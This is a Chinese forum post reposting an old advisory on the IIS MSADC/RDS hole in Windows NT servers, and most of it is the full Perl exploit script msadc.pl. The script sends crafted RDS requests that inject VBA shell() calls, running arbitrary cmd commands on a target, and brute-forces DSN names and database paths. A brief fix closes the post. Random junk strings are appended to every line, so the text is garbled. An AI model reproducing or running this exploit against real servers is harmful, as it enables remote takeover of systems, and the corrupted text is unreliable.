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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) xY>@GSO1  
szC<ht?z  
涉及程序: omzG/)M:O  
Microsoft NT server pq$-s7#  
y$[:Kh,  
描述: dpSNh1  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 h'ik19  
TP{2q51yM  
详细: Cd2A&RB  
如果你没有时间读详细内容的话,就删除: T:I34E[  
c:\Program Files\Common Files\System\Msadc\msadcs.dll (5a:O (\r  
有关的安全问题就没有了。 b|oT!s  
1Y'NG<d _  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 "."ow|  
)9i$ 1"a(  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 y ~n1S~5cI  
关于利用ODBC远程漏洞的描述,请参看: ohna1a^  
?"$Rw32  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm <NWq0 3:&  
LR#BP}\b'  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 +h08uo5c  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp dVe,;?+A  
%y_{?|+  
这里不再论述。 =}zSj64  
|p.|zH  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: /]oQqZHv  
5Mz:$5Tm  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset _Wqy,L;J  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! +\]Gu(z<  
&EmG\vfE  
\{ve6`7Rn  
#将下面这段保存为txt文件,然后: "perl -x 文件名" )$ M2+_c  
lhC hk7l  
#!perl  :g~_  
# Q_>W!)p Gz  
# MSADC/RDS 'usage' (aka exploit) script Q[{RN ab  
# |'-%d^ Z  
# by rain.forest.puppy $*;`$5.x^  
# Ej8g/{  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me ?N^1v&Q  
# beta test and find errors! :gO5#HIm  
Y (p Ud3y  
use Socket; use Getopt::Std; Zm0'p!  
getopts("e:vd:h:XR", \%args); 'o~gT ;T#  
E>+>!On)b  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; ?lML+  
dIfy!B"  
if (!defined $args{h} && !defined $args{R}) { 2+_a<5l~  
print qq~ @VPmr}p:{  
Usage: msadc.pl -h <host> { -d <delay> -X -v }  TJ1h[  
-h <host> = host you want to scan (ip or domain) =*1NVi $n  
-d <seconds> = delay between calls, default 1 second h+ud[atk.  
-X = dump Index Server path table, if available stUUez>  
-v = verbose Re&"Q8I.8  
-e = external dictionary file for step 5 mRa\ wEg%  
G[1\5dK*uR  
Or a -R will resume a command session -n8d#Qm)  
NBHpM}1xtU  
~; exit;} <{GVA0nr  
FgL892[  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ]IEZ?+F,  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} L$BV`JWPw  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} G;$; $gM  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ?w+ V:D  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} \5 rJ  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } zCuB+r=C  
r! HXhl  
if (!defined $args{R}){ $ret = &has_msadc; a ydNSgu  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} :eSsqt9]9  
[}]yJ+)  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" Qn,6s%n  
. "cmd /c "; s M*ay,v;  
$in=<STDIN>; chomp $in; r0 )ne|&Hp  
$command="cmd /c " . $in ; =MMd&  
>=|p30\b  
if (defined $args{R}) {&load; exit;} O`Gq7=X  
Mx$&{.LFJ  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; e"52'zAV-  
&try_btcustmr; n{i,`oQ"  
c(e>Rmh  
print "\nStep 2: Trying to make our own DSN..."; #K6cBfqI  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; t`&x.o  
BqY_N8l&E  
print "\nStep 3: Trying known DSNs..."; q;")  
&known_dsn;  +l/v`=C  
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print "\nStep 4: Trying known .mdbs..."; mr^3Y8 $s  
&known_mdb; zD79M  
18!y7 _cFT  
if (defined $args{e}){ ?)y^ [9  
print "\nStep 5: Trying dictionary of DSN names..."; hg(<>_~  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } Ca PHF@6WN  
Ph1XI&us9  
print "Sorry Charley...maybe next time?\n"; =I'3C']Z W  
exit; L_NiU;cr%  
~?AEtl#&"  
############################################################################## Z(T{K\)uN  
^Aq0<  
sub sendraw { # ripped and modded from whisker 0{|HRiQH9+  
sleep($delay); # it's a DoS on the server! At least on mine... sfj+-se(K.  
my ($pstr)=@_; $Sgf jm  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ksOGCd^G7  
die("Socket problems\n"); M .b8 -`V  
if(connect(S,pack "SnA4x8",2,80,$target)){ YR9fw  
select(S); $|=1; ? T6K]~g  
print $pstr; my @in=<S>; UtQey ;w  
select(STDOUT); close(S); <4"-tYa  
return @in; {P]C>  
} else { die("Can't connect...\n"); }} V@G#U[D  
zKO7`.*  
############################################################################## Z[oEW>_A  
o@Oz a  
sub make_header { # make the HTTP request $/++afi m  
my $msadc=<<EOT \=A A,Il  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 sQvRupYRO  
User-Agent: ACTIVEDATA VThr]$2Y  
Host: $ip W]9*dabem  
Content-Length: $clen Yf w>x[#e  
Connection: Keep-Alive hj [77EEz  
* x/!i^  
ADCClientVersion:01.06 Xv8-<Ks  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 gBm'9|?  
<Kd(fFe  
--!ADM!ROX!YOUR!WORLD! &riGzU]  
Content-Type: application/x-varg &9p!J(C  
Content-Length: $reqlen  `Vb  
;*<tU n^t  
EOT Y%s:oHt  
; $msadc=~s/\n/\r\n/g; 2 |s ohF  
return $msadc;} H5=kDkb  
 `Y#At3{  
############################################################################## $KiCs]I+  
`@~e<s`j  
sub make_req { # make the RDS request %ou,|Dww  
my ($switch, $p1, $p2)=@_; 21uK&nVf^l  
my $req=""; my $t1, $t2, $query, $dsn; 0bg"Q4  
>cu%Cs=m  
if ($switch==1){ # this is the btcustmr.mdb query Dqx#i-L23  
$query="Select * from Customers where City=" . make_shell(); n~N>;m P  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . t]yxLl\  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} ?"6Zf LRi  
=3e7n2N)  
elsif ($switch==2){ # this is general make table query >XD?zF)6  
$query="create table AZZ (B int, C varchar(10))"; Kg[OUBv  
$dsn="$p1";} :!`"GaTy  
Z'z)Oo  
elsif ($switch==3){ # this is general exploit table query -+#%]P8l  
$query="select * from AZZ where C=" . make_shell(); Gm=qn]c  
$dsn="$p1";} RLmOg{L  
\Pg~j\;F]  
elsif ($switch==4){ # attempt to hork file info from index server b\k]Jx  
$query="select path from scope()"; LW %AZkAx  
$dsn="Provider=MSIDXS;";} J1?;'  
$ V^gFes  
elsif ($switch==5){ # bad query *c0H_8e  
$query="select"; :RaQ =C  
$dsn="$p1";} j]Auun  
~wvt:E,f C  
$t1= make_unicode($query); ]K=#>rZrB  
$t2= make_unicode($dsn); yk+ 50/L  
$req = "\x02\x00\x03\x00"; 4"d,=P.{  
$req.= "\x08\x00" . pack ("S1", length($t1)); zTz}H*U  
$req.= "\x00\x00" . $t1 ; D!<F^mtl  
$req.= "\x08\x00" . pack ("S1", length($t2)); NVyBEAoh  
$req.= "\x00\x00" . $t2 ; p~pD`'%  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; SQp|  
return $req;} %( )d$.F  
B=_w9iVN  
############################################################################## :ym?]EL4o  
,/;Ae w;  
sub make_shell { # this makes the shell() statement _:x]' w%  
return "'|shell(\"$command\")|'";} =o@;K~-  
7- B.<$uC  
############################################################################## <I+kB^Er  
dbp\tWaW  
sub make_unicode { # quick little function to convert to unicode :6n#y-9^1  
my ($in)=@_; my $out; o+A7hBM^  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } mw @Pl\=  
return $out;} +C( -f  
<Xf6?nyZ(  
############################################################################## |{(<A4W  
!8{ VLg  
sub rdo_success { # checks for RDO return success (this is kludge) ?Oyo /?/  
my (@in) = @_; my $base=content_start(@in); 5cSiV7#Y:  
if($in[$base]=~/multipart\/mixed/){ b?H"/Mu.  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} |;ztK[(  
return 0;} |23F@s1  
wi(Y=?=  
############################################################################## ]vrZGX a+  
ER0 Yl  
sub make_dsn { # this makes a DSN for us du65=w4E!  
my @drives=("c","d","e","f"); ?OD$`{1  
print "\nMaking DSN: "; 2qMiX|Y  
foreach $drive (@drives) { wQ_4_W  
print "$drive: "; ~#_~DqbMZ5  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . :@A&HkF  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" p{f R$-d  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); HJL! ;i  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ,OE&e* 1  
return 0 if $2 eq "404"; # not found/doesn't exist tKbxC>w  
if($2 eq "200") { /cjz=r1U>  
foreach $line (@results) { ]\, ?u /  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} ZU4=&K  
} return 0;} 6'qkD<  
(gt\R}  
############################################################################## |OeyPD#  
qeZG/\,  
sub verify_exists { f56yI]*N=<  
my ($page)=@_; $?= $F  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ^q7V%{54  
return $results[0];} p`tz*ewC  
%~rEJB@{  
############################################################################## oD)x\ )t8  
uEPp%&D.+  
sub try_btcustmr { rQ*+ <`R}  
my @drives=("c","d","e","f"); m+QS -woHn  
my @dirs=("winnt","winnt35","winnt351","win","windows"); i~@gI5[k+  
o9kJ90{D=  
foreach $dir (@dirs) { ,K5K?C$k  
print "$dir -> "; # fun status so you can see progress  H.5 6  
foreach $drive (@drives) { m=l>8  
print "$drive: "; # ditto T:^.; ZY  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ak(s@@k  
$reqlenlen=length( "$reqlen" ); -(vHy/Hz.  
$clen= 206 + $reqlenlen + $reqlen; )nUdU = m  
_c5@)I~  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); [2:d@=%.  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ZO+RE7f*?c  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} SN6 QX!3  
Ly= .  
############################################################################## pPReo)  
~q>jXi  
sub odbc_error { :;$MUOps  
my (@in)=@_; my $base; E-A9lJWr  
my $base = content_start(@in); Gp9 <LB\,  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this hf`y_H+\7  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Fh~9(Y#  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ^ u$gO3D  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; t]xz7VQ  
return $in[$base+4].$in[$base+5].$in[$base+6];} K,4Ig!  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ?QP>rm  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . X5WA-s(?0  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} Y3~Uz#`SU  
Np\NStx2  
############################################################################## >+O0W)g{o  
:ez76oGyc  
sub verbose { 3.Fko<D4jD  
my ($in)=@_; [^"}jbn/  
return if !$verbose; <bcf"0A  
print STDOUT "\n$in\n";} qlhc"}5x }  
2dts}G  
############################################################################## 4LSs WO<@  
}T_"Vg q  
sub save { ydWr&E5  
my ($p1, $p2, $p3, $p4)=@_; 8\J$\Edv  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; T{prCM  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; *`a$6F7m4  
close OUT;} r^k+D<k[7  
"rdpA[>L  
############################################################################## XX=OyDLqP  
N8]DzE0%  
sub load { /&6{}n  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 0>[]Da}  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); F=\ REq  
@p=<IN>; close(IN); lz^Vi!|p  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); J;sQvPHV8  
$target= inet_aton($ip) || die("inet_aton problems"); wOH:'sk["  
print "Resuming to $ip ..."; 2)BO@]n  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; fhi}x(  
if($p[1]==1) { 6{I7=.V  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; .1(_7!m@  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; X#1WzWk '  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); \7\sx:!$  
if (rdo_success(@results)){print "Success!\n";} 8{Wl   
else { print "failed\n"; verbose(odbc_error(@results));}} [C!*7h  
elsif ($p[1]==3){ %=z>kU1|  
if(run_query("$p[3]")){ p$"~v A .  
print "Success!\n";} else { print "failed\n"; }} "yymnIQ3u  
elsif ($p[1]==4){ V;^-EWNj  
if(run_query($drvst . "$p[3]")){ YM#' +wl}`  
print "Success!\n"; } else { print "failed\n"; }} @de  ZZ  
exit;} 1<:5b%^c  
Cuylozj$&  
############################################################################## Zzlt^#KLx  
!I|_vJ@<  
sub create_table { mN-O{k0\  
my ($in)=@_; B<~AUf*y  
$reqlen=length( make_req(2,$in,"") ) - 28; wsdZwik  
$reqlenlen=length( "$reqlen" ); ?121 as}z  
$clen= 206 + $reqlenlen + $reqlen; F=&,=r' Q8  
my @results=sendraw(make_header() . make_req(2,$in,"")); #0) TS  
return 1 if rdo_success(@results); YdV.+v(30  
my $temp= odbc_error(@results); verbose($temp); ;{8 X+H  
return 1 if $temp=~/Table 'AZZ' already exists/; / 1TK+E$  
return 0;} xJ#O|7N  
?taC !{  
############################################################################## /@Jg [na  
E9Kp=3H  
sub known_dsn { FoE}j   
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go uf]wX(*<k  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", %#fjtbeB  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", /?BTET  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); =2*2 $  
.`*;AT  
foreach $dSn (@dsns) {  8\nka5  
print "."; Z9H2! Cp  
next if (!is_access("DSN=$dSn")); V(XU^}b#  
if(create_table("DSN=$dSn")){ LD{~6RP  
print "$dSn successful\n"; QP"5A7=m  
if(run_query("DSN=$dSn")){ |0^IX   
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Y 8}y0]V  
print "Something's borked. Use verbose next time\n";}}} print "\n";} MF$Dx| Tcj  
N) jNvzm  
############################################################################## J*ofa>  
}.u[';q ]S  
sub is_access { vh|m[p  
my ($in)=@_; /:-ig .YY  
$reqlen=length( make_req(5,$in,"") ) - 28; 6wOj,}2Mn  
$reqlenlen=length( "$reqlen" ); o8g] ho  
$clen= 206 + $reqlenlen + $reqlen; .$f0!` t  
my @results=sendraw(make_header() . make_req(5,$in,"")); 0LGHSDb  
my $temp= odbc_error(@results); p]e.E`'S  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); dtQ3iuV %  
return 0;} g}?39?o4  
?(khoL t  
############################################################################## 1)e[F#|  
}WR@%)7ay  
sub run_query { ;Srzka2  
my ($in)=@_; dF|n)+C~R  
$reqlen=length( make_req(3,$in,"") ) - 28; u9 *ic~Nh  
$reqlenlen=length( "$reqlen" ); J,h'eY5  
$clen= 206 + $reqlenlen + $reqlen; @Rd`/S@  
my @results=sendraw(make_header() . make_req(3,$in,"")); u3X!O  
return 1 if rdo_success(@results); svC m }`  
my $temp= odbc_error(@results); verbose($temp); (-o}'l'mo  
return 0;} SQ/}K8uZ  
'\pSUp  
############################################################################## 2_6@&2  
H_iQR9Ak7  
sub known_mdb { ?U:c\TA,m  
my @drives=("c","d","e","f","g"); @q|c|X:I  
my @dirs=("winnt","winnt35","winnt351","win","windows"); gsIp y  
my $dir, $drive, $mdb; !}d_$U$  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; YEiw!  
Ch=jt*0  
# this is sparse, because I don't know of many T[ zEAj  
my @sysmdbs=( "\\catroot\\icatalog.mdb", U d+6=Us{  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", U,< ?]h  
"\\system32\\certmdb.mdb", ;P8.U(  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% Fe2iG-ec  
<UW-fI)X  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", %u?A>$Jn  
"\\cfusion\\cfapps\\forums\\forums_.mdb", |l~#qeZ%  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", j3o?B  
"\\cfusion\\cfapps\\security\\realm_.mdb", /p|L.&`U  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", UJ)( Sw  
"\\cfusion\\database\\cfexamples.mdb", 9KL)5_6 M  
"\\cfusion\\database\\cfsnippets.mdb", tac_MtW?  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",  o^d  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", m7cG ]a~a  
"\\cfusion\\brighttiger\\database\\cleam.mdb", _:XX+ 3W7  
"\\cfusion\\database\\smpolicy.mdb", ,_'Z Jlx  
"\\cfusion\\database\cypress.mdb", aqP"Y9l  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", ur+\!y7^R  
"\\website\\cgi-win\\dbsample.mdb", /p{$HkVw  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", M r~IVmtf  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" r#mH[|@W~  
); #these are just q$B|a5a?  
foreach $drive (@drives) {  _dVA^m  
foreach $dir (@dirs){ %G, d&%f  
foreach $mdb (@sysmdbs) { *)T7DN8  
print "."; \k%j  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ /,9n1|FrG  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; Zx|VOl,;  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ Ye\ &_w"  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; _WBWFGj  
} else { print "Something's borked. Use verbose next time\n"; }}}}} Mgux (5`;  
LV]F?O[K=  
foreach $drive (@drives) { E>1%7" i<  
foreach $mdb (@mdbs) { (7|!%IO.  
print "."; R@[1a+}5  
if(create_table($drv . $drive . $dir . $mdb)){ AgJPtzs  
print "\n" . $drive . $dir . $mdb . " successful\n"; K1*V\WRW5  
if(run_query($drv . $drive . $dir . $mdb)){ u/HNXJ7M`9  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; KD8,a+GL  
} else { print "Something's borked. Use verbose next time\n"; }}}} _sqV@ J  
} bSk)GZyH\d  
A~ wVY  
############################################################################## gYa (-o  
kO' NT:  
sub hork_idx { jGKI|v4U(  
print "\nAttempting to dump Index Server tables...\n"; &BRi& &f  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; wGx*Xy1n<  
$reqlen=length( make_req(4,"","") ) - 28; <w0$0ku  
$reqlenlen=length( "$reqlen" ); `;3fnTI:1  
$clen= 206 + $reqlenlen + $reqlen; dQPW9~g8Hg  
my @results=sendraw2(make_header() . make_req(4,"","")); T@on ue7  
if (rdo_success(@results)){ }&/_ S  
my $max=@results; my $c; my %d; F'JceU  
for($c=19; $c<$max; $c++){ )uH#+IU  
$results[$c]=~s/\x00//g; *l8:%t\  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; , n47.S  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; Y~-P9   
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; +Am\jsq  
$d{"$1$2"}="";} +IbQVU~/  
foreach $c (keys %d){ print "$c\n"; } s)V<dm;T  
} else {print "Index server doesn't seem to be installed.\n"; }} ;+R  
yxL(mt8  
############################################################################## r( 8!SVX  
@SH$QUM(  
sub dsn_dict { S2"H E`  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); OVU+V 0w1a  
while(<IN>){ (b;*8  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; }:4b_-&Q5  
next if (!is_access("DSN=$dSn")); H4IJLZ3G  
if(create_table("DSN=$dSn")){ P^& =L&U  
print "$dSn successful\n"; H 5'Ke+4.e  
if(run_query("DSN=$dSn")){ ibQN pIz  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ;wj8:9 ;  
print "Something's borked. Use verbose next time\n";}}} *BAR`+;U  
print "\n"; close(IN);}  @1O.;  
xPorlX)zW  
############################################################################## f|'8~C5I@>  
*_!}g ]  
sub sendraw2 { # ripped and modded from whisker ,p[9EW*8  
sleep($delay); # it's a DoS on the server! At least on mine... .{ r %C4q9  
my ($pstr)=@_; ^Qa!{9o[  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || y:ad%,. C  
die("Socket problems\n"); `w#p8vR  
if(connect(S,pack "SnA4x8",2,80,$target)){ 31k2X81;a  
print "Connected. Getting data"; Tt\G y  
open(OUT,">raw.out"); my @in; h!q_''*;  
select(S); $|=1; print $pstr; $ {5|{`  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} !ui:0_  
close(OUT); select(STDOUT); close(S); return @in; vC>8:3Z aq  
} else { die("Can't connect...\n"); }} ~mK|~x01@  
9 Aq\1QC  
############################################################################## !OL[1_-4|K  
1CpIK$/  
sub content_start { # this will take in the server headers kNrN72qg  
my (@in)=@_; my $c; E e 15Y$1  
for ($c=1;$c<500;$c++) { 6z ,nt  
if($in[$c] =~/^\x0d\x0a/){ t p<wMrq<  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } k{-#2Qz  
else { return $c+1; }}} XCUU(H  
return -1;} # it should never get here actually 0m 7_#g4$L  
jltW@co2sV  
############################################################################## 8(|lP58~  
b_rHt s  
sub funky { +jN%w{^=  
my (@in)=@_; my $error=odbc_error(@in); P1IL ]  
if($error=~/ADO could not find the specified provider/){ IT=<p60"  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; /7jb&f   
exit;} Z,}c)  
if($error=~/A Handler is required/){ %+0V0.  
print "\nServer has custom handler filters (they most likely are patched)\n"; ;X)b=  
exit;} =dDr:Y<@*  
if($error=~/specified Handler has denied Access/){ l#cG#-  
print "\nServer has custom handler filters (they most likely are patched)\n"; EaUO>S  
exit;}} }\3jcnn  
^< wn  
############################################################################## c@Q&i  
SKeX~uLz  
sub has_msadc { w$4*/D}Y  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); {dXmSuO  
my $base=content_start(@results); }(/\vTn*1  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); -cP7`.a  
return 0;} crl"Ec  
3+oGR5gIN  
######################## M~,N~ N1  
jU0E=;1  
Q7@oAeNd  
解决方案: fF]w[lLDv  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll / lDei}  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 EFn[[<&><t  
O b'Br  
拿出来充数 哈哈
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